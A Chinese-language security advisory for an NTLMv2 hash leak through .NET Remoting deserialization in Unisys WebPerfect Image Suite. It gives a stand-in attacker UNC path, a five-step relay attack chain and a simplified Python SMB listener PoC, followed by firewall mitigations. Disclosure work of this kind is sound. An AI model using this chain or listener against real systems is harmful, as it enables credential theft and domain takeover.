IPBUF安全漏洞报告
English
CVE-2026-39906 CVSS 10.0 严重

CVE-2026-39906 Unisys WebPerfect NTLMv2哈希泄露漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-39906
漏洞类型
NTLM哈希泄露
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Unisys WebPerfect Image Suite

相关标签

NTLM哈希泄露信息泄露横向移动Unisys反序列化漏洞中继攻击

漏洞概述

Unisys WebPerfect Image Suite特定版本存在严重安全漏洞,由于暴露了过时的.NET Remoting TCP通道,未经认证的攻击者可利用对象反序列化漏洞,通过构造包含Windows UNC路径的恶意请求,诱骗服务器向攻击者控制的主机发起连接。这会导致服务器泄露NTLMv2机器账户哈希,攻击者可利用该哈希进行中继攻击,从而实现权限提升或内网横向移动。

技术细节

该漏洞源于Unisys WebPerfect Image Suite未正确保护.NET Remoting TCP通道。攻击者无需认证即可访问该通道。漏洞利用过程涉及.NET对象反序列化,攻击者可构造特定的序列化数据包,将目标文件参数设置为指向攻击者控制服务器的UNC路径(如\\evil\share)。当服务器处理该请求并尝试访问该UNC路径时,Windows系统会自动使用当前机器账户凭据通过SMB协议进行认证。攻击者通过部署恶意的SMB服务器(如使用Responder或Impacket),截获此次认证交互中的NTLMv2 Challenge-Response哈希。由于获取的是机器账户哈希,攻击者可利用NTLM Relay技术,将该哈希重放至域内未启用SMB签名的服务(如LDAP、SMB),从而绕过认证,获取域管权限或访问敏感数据,严重威胁内网安全。

攻击链分析

STEP 1
步骤1:侦察
攻击者扫描目标网络,识别运行Unisys WebPerfect Image Suite的主机及其暴露的.NET Remoting TCP端口。
STEP 2
步骤2:环境准备
攻击者搭建恶意的SMB服务器(如使用Impacket或Responder),用于监听并捕获入站的NTLM认证请求。
STEP 3
步骤3:触发漏洞
攻击者向目标服务的.NET Remoting接口发送特制的序列化对象,该对象包含指向攻击者SMB服务器的UNC路径参数。
STEP 4
步骤4:哈希捕获
目标服务器在处理请求时,尝试连接UNC路径,从而向攻击者的SMB服务器发送NTLMv2认证信息,攻击者捕获机器账户哈希。
STEP 5
步骤5:权限提升
攻击者利用捕获的哈希执行NTLM Relay攻击,向域内其他未启用强制签名(如LDAP、SMB)的服务进行认证,实现权限提升或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept: SMB Listener to capture NTLMv2 hash # Usage: python3 ntlm_capture.py import socket from struct import pack, unpack # This is a simplified example of an SMB listener to catch the hash. # In a real scenario, use tools like Responder or Impacket's ntlmrelayx. def handle_connection(client_socket): try: data = client_socket.recv(1024) if b'SMB' in data: print("[+] Received SMB Connection from target") # Normally you would send back a challenge here to get the hash # For demonstration, we just acknowledge. response = b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" client_socket.send(response) # Wait for NTLMSSP_NEGOTIATE or AUTH auth_data = client_socket.recv(1024) if b'NTLMSSP' in auth_data: print("[+] Captured NTLMSSP Packet (Hash extraction logic applies here)") print(f"[+] Data: {auth_data}") except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def start_listener(port=445): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', port)) server.listen(5) print(f"[*] Listening on port {port} for incoming SMB connections...") while True: client, addr = server.accept() print(f"[*] Accepted connection from: {addr[0]}:{addr[1]}") handle_connection(client) if __name__ == "__main__": # Note: Running on port 445 requires root/admin privileges start_listener(445)

影响范围

Unisys WebPerfect Image Suite 3.0.3960.22810
Unisys WebPerfect Image Suite 3.0.3960.22604

防御指南

临时缓解措施
建议立即在网络边界防火墙阻断受影响服务器对TCP 445端口的出站连接,并严格限制入站对.NET Remoting服务端口的访问。同时,应尽快联系厂商获取并安装安全更新,修复该反序列化漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表